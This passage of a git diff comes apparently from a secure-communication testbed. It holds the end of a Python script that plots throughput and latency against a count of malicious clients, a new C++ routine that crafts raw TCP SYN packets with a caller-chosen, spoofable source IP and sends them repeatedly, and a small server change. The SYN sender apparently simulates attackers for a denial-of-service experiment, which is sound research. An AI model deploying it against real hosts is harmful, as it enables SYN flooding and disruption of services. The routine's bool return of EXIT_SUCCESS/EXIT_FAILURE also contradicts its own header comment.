ap.add_mutually_exclusive_group(required=True) + mode_group.add_argument("--throughput", action="store_true", help="Plot throughput (attempt_rate_per_s)") + mode_group.add_argument("--latency", action="store_true", help="Plot latency (avg_us → ms)") + + ap.add_argument("inputs", nargs="*", help="CSV files and/or directories") + ap.add_argument("--glob", dest="glob_pat", help="Optional glob pattern, e.g. 'results/*.csv'") + ap.add_argument("--recursive", action="store_true", help="Search directories recursively") + ap.add_argument("--out", default=None, help="Output filename (PDF). Default depends on mode.") + ap.add_argument("--figsize", nargs=2, type=float, metavar=("W","H"), + default=[5.5, 3.5], help="Base figure size in inches (default: 5.5 3.5). Actual image is 20% smaller.") + ap.add_argument("--xlim", nargs=2, type=float, metavar=("XMIN","XMAX"), help="Clamp X axis to [XMIN, XMAX]") + ap.add_argument("--ylim", nargs=2, type=float, metavar=("YMIN","YMAX"), help="Clamp Y axis to [YMIN, YMAX] (ms for latency mode)") + # New CLI options for log scale and inset zoom + ap.add_argument("--logy", action="store_true", help="Plot Y axis on logarithmic scale") + ap.add_argument("--inset", action="store_true", help="Draw a zoomed inset focusing on lower-y region") + ap.add_argument("--inset-max", type=float, default=None, help="Maximum Y value for inset zoom (default auto)") + + args = ap.parse_args() + + mode = "throughput" if args.throughput else "latency" + + paths = list(args.inputs) + if args.glob_pat: + paths.append(args.glob_pat) + if not paths: + ap.error("Provide at least one CSV or directory (or use --glob).") + + files = expand_inputs(paths, recursive=args.recursive) + if not files: + raise SystemExit("No CSV files found.") + + # Collect points per series label from all CSV files + series_points = {"Config#2": [], "Config#3": [], "Config#1": []} + for f in files: + pts = points_from_three_rows(f, mode) + for pt in pts: + label = pt["label"] + series_points[label].append(pt) + + colors = {"Config#2": "tab:blue", "Config#3": "tab:orange", "Config#1": "tab:green"} + + # Check if all series are empty + if all(len(series_points[label]) == 0 for label in series_points): + raise SystemExit("No usable data points from the provided CSVs.") + + # Always-compact sizing + w, h = args.figsize + w *= 0.8 + h *= 0.8 + + plt.figure(figsize=(w, h)) + ax = plt.gca() + + # Plot each series if it has points + all_x_values = set() + all_y_values = [] + for label in ["Config#2", "Config#3", "Config#1"]: + points = series_points[label] + if not points: + print(f"[warn] No data points for {label}", file=sys.stderr) + continue + df = pd.DataFrame(points).sort_values("malicious_number").reset_index(drop=True) + plt.plot(df["malicious_number"], df["y"], marker="o", label=label, color=colors[label]) + all_x_values.update(df["malicious_number"].unique()) + all_y_values.extend(df["y"].tolist()) + + ax.set_xlabel("Number of Malicious Clients", fontsize=17) + + # Set x-ticks to sorted unique malicious_number across all points + xticks = sorted(all_x_values) + ax.set_xticks(xticks) + + # Configure Y axis scale and formatting + if args.logy: + ax.set_yscale('log') + # Do not use integer-only locator on log scale + # Keep ylabel but skip ScalarFormatter for latency mode if logy is on + if mode == "throughput": + ax.set_ylabel("Throughput (ops/s)", fontsize=17) + else: + ax.set_ylabel("Latency (ms)", fontsize=17) + else: + ax.yaxis.set_major_locator(MaxNLocator(integer=True)) + if mode == "throughput": + ax.set_ylabel("Throughput (ops/s)", fontsize=17) + else: + ax.set_ylabel("Latency (ms)", fontsize=17) + # Disable scientific notation for latency axis and use integer ticks + fmt = ScalarFormatter(useMathText=False) + fmt.set_scientific(False) + fmt.set_useOffset(False) + ax.yaxis.set_major_formatter(fmt) + + ax.tick_params(axis='both', which='major', labelsize=14, length=6) + + # Optional ranges + if args.xlim: + ax.set_xlim(args.xlim) + if args.ylim: + ax.set_ylim(args.ylim) + + ax.grid(True, which='major', alpha=0.3) + + # Draw zoomed inset if requested + if args.inset: + # Determine inset y max + inset_ymax = args.inset_max + if inset_ymax is None: + # Compute max of Config#2 and Config#3 series y values + c2_vals = [pt["y"] for pt in series_points["Config#2"]] + c3_vals = [pt["y"] for pt in series_points["Config#3"]] + max_c2_c3 = max(c2_vals + c3_vals) if (c2_vals or c3_vals) else None + global_max = max(all_y_values) if all_y_values else 1.0 + if max_c2_c3 is not None: + inset_ymax = max_c2_c3 * 1.2 + else: + inset_ymax = global_max * 0.2 + + ax_in = inset_axes(ax, width="45%", height="45%", loc="upper right", borderpad=1.0) + # Re-plot the same series in inset + for label in ["Config#2", "Config#3", "Config#1"]: + points = series_points[label] + if not points: + continue + df = pd.DataFrame(points).sort_values("malicious_number").reset_index(drop=True) + ax_in.plot(df["malicious_number"], df["y"], marker="o", label=label, color=colors[label]) + ax_in.set_ylim(0, inset_ymax) + ax_in.set_xlim(ax.get_xlim()) + ax_in.tick_params(labelsize=10) + ax_in.grid(True, alpha=0.2) + ax_in.set_title("zoom", fontsize=9) + + # Force legend order: Config#1 → Config#2 → Config#3 + handles, labels = ax.get_legend_handles_labels() + desired_order = ["Config#1", "Config#2", "Config#3"] + # keep only labels we have and sort them by desired order + pairs = [(h, l) for h, l in zip(handles, labels) if l in desired_order] + pairs.sort(key=lambda x: desired_order.index(x[1])) + if pairs: + ax.legend([h for h, _ in pairs], [l for _, l in pairs], fontsize=12) + plt.tight_layout() + + default_out = "throughput.pdf" if mode == "throughput" else "latency.pdf" + desired_out = ensure_pdf_suffix(args.out or default_out) + final_out = unique_path(desired_out) + plt.savefig(final_out, dpi=160) + total_files_used = sum(len(series_points[label]) for label in series_points) + print(f"[ok] Mode={mode}. Used {total_files_used} points from {len(files)} files. Wrote {final_out}") + +if __name__ == "__main__": + main() diff --git a/examples/SST_Testbed/send_syn.cpp b/examples/SST_Testbed/send_syn.cpp new file mode 100644 index 00000000..f2a34dcd --- /dev/null +++ b/examples/SST_Testbed/send_syn.cpp @@ -0,0 +1,143 @@ +extern "C" { +#include "../../c_api.h" +} + +#include +#include +#include +#include // struct ip (BSD) +#include // struct tcphdr (BSD) +#include +#include +#include +#include +#include + +#include + +// Pseudo header for TCP checksum +struct pseudo_header { + uint32_t saddr; + uint32_t daddr; + uint8_t zero; + uint8_t protocol; + uint16_t tcp_len; +} __attribute__((packed)); + +// RFC 1071 16-bit one's complement checksum +static uint16_t csum16(const void* data, size_t len) { + uint32_t sum = 0; + const uint16_t* p = (const uint16_t*)data; + while (len > 1) { + sum += *p++; + len -= 2; + } + if (len) sum += *(const uint8_t*)p; + while (sum >> 16) sum = (sum & 0xFFFF) + (sum >> 16); + return (uint16_t)(~sum); +} + +extern "C" bool send_syn_packets(const char* src_ip_str, const char* dst_ip, + unsigned short dst_port, int repeat) { + // Build IPv4 + TCP SYN + // Buffer for IP + TCP headers (no payload) + unsigned char packet[sizeof(struct ip) + sizeof(struct tcphdr)]; + memset(packet, 0, sizeof(packet)); + + struct ip* iph = (struct ip*)packet; + struct tcphdr* tcph = (struct tcphdr*)(packet + sizeof(struct ip)); + + // Fill IPv4 header (BSD layout) + iph->ip_v = 4; + iph->ip_hl = 5; + iph->ip_tos = 0; + iph->ip_len = sizeof(packet); + iph->ip_id = htons(0x1234); + iph->ip_off = 0; + iph->ip_ttl = 64; + iph->ip_p = IPPROTO_TCP; + if (inet_pton(AF_INET, src_ip_str, &iph->ip_src) != 1) { + std::cout << "src ip error" << std::endl; + return EXIT_FAILURE; + } + if (inet_pton(AF_INET, dst_ip, &iph->ip_dst) != 1) { + std::cout << "dst ip error" << std::endl; + return EXIT_FAILURE; + } + + // Fill TCP header (BSD layout uses th_offx2) + tcph->th_sport = htons(40000 + (rand() % 20000)); + tcph->th_dport = htons(dst_port); + tcph->th_seq = htonl(0xABCDEFFF); + tcph->th_ack = htonl(0); + tcph->th_off = 5; // <-- correct on macOS + tcph->th_x2 = 0; + tcph->th_flags = TH_SYN; + tcph->th_win = htons(65535); + tcph->th_urp = 0; + + // TCP checksum (pseudo header + TCP header [+ payload]) + struct pseudo_header ph; + ph.saddr = *(uint32_t*)&iph->ip_src; + ph.daddr = *(uint32_t*)&iph->ip_dst; + ph.zero = 0; + ph.protocol = IPPROTO_TCP; + ph.tcp_len = htons(sizeof(struct tcphdr)); + + unsigned char chkbuf[sizeof(ph) + sizeof(struct tcphdr)]; + memcpy(chkbuf, &ph, sizeof(ph)); + memcpy(chkbuf + sizeof(ph), tcph, sizeof(struct tcphdr)); + tcph->th_sum = csum16(chkbuf, sizeof(chkbuf)); + + // IP checksum (required when you provide your own IP header) + iph->ip_sum = csum16(iph, sizeof(struct ip)); + + // Raw IP socket on macOS/BSD: use IPPROTO_RAW and set iph->ip_p to TCP + int s = socket(AF_INET, SOCK_RAW, IPPROTO_TCP); + if (s < 0) { + std::cout << "socket() error " << strerror(errno) << std::endl; + return EXIT_FAILURE; + } + + int one = 1; + if (setsockopt(s, IPPROTO_IP, IP_HDRINCL, &one, sizeof(one)) < 0) { + std::cout << "setsockopt(IP_HDRINCL) error" << std::endl; + return EXIT_FAILURE; + } + + struct sockaddr_in dst; +#if defined(__APPLE__) || defined(__FreeBSD__) || defined(__OpenBSD__) || \ + defined(__NetBSD__) + dst.sin_len = sizeof(dst); // macOS only +#endif + + dst.sin_family = AF_INET; + dst.sin_port = htons(dst_port); + if (inet_pton(AF_INET, dst_ip, &dst.sin_addr) != 1) { + std::cout << "dst addr error" << std::endl; + close(s); + return EXIT_FAILURE; + } + + for (int i = 0; i < repeat; ++i) { + ssize_t n = sendto(s, packet, sizeof(packet), 0, (struct sockaddr*)&dst, + sizeof(dst)); + if (n < 0) { + std::cout << "sendto() error " << strerror(errno) << std::endl; + // close(s); + // return EXIT_FAILURE; + continue; + } + + std::cout << "Sent TCP SYN from " << src_ip_str << ":" + << ntohs(tcph->th_sport) << " to " << dst_ip << ":" + << dst_port << " (" << n << " bytes)" << std::endl; + + std::cout << "Sent SYN packet " << (i + 1) << " of " << repeat + << std::endl; + } + + close(s); + + return EXIT_SUCCESS; +} diff --git a/examples/SST_Testbed/send_syn.hpp b/examples/SST_Testbed/send_syn.hpp new file mode 100644 index 00000000..1c6aab71 --- /dev/null +++ b/examples/SST_Testbed/send_syn.hpp @@ -0,0 +1,17 @@ +#ifndef SEND_SYN_H +#define SEND_SYN_H + +#ifdef __cplusplus +extern "C" { +#endif + +// Send exactly one TCP SYN to (dst_ip, dst_port). +// Returns 0 on success, nonzero on error. +bool send_syn_packets(const char* src_ip_str, const char* dst_ip, + unsigned short dst_port, int repeat); + +#ifdef __cplusplus +} +#endif + +#endif // SEND_SYN_H diff --git a/examples/SST_Testbed/server.cpp b/examples/SST_Testbed/server.cpp index 4a75745e..01b7f60f 100644 --- a/examples/SST_Testbed/server.cpp +++ b/examples/SST_Testbed/server.cpp @@ -47,6 +47,7 @@ void* receive_and_print_messages(void* thread_args) { unsigned char received_buf[MAX_SECURE_COMM_MSG_LENGTH]; // Receive messages from client + int count = 0; for (;;) { int ret = read_secure_message(received_buf, session_ctx); if (ret < 0) { @@ -57,9 +58,15 @@ void* receive_and_print_messages(void* thread_args) { break; } // Process the received_buf message - std::cout << "Received message from socket: " << clnt_sock << ": "; + std::cout << "Received message " << count + << " from socket: " << clnt_sock << ": "; std::cout.write(reinterpret_cast(received_buf), ret); std::cout << std::endl; + count++; + int msg = send_secure_message("Hello", strlen("Hello"), session_ctx); + if (msg < 0) { + SST_print_error_exit("Failed send_secure_message()."); + } } std::cout << "Client " << clnt_sock << " disconnected.\n";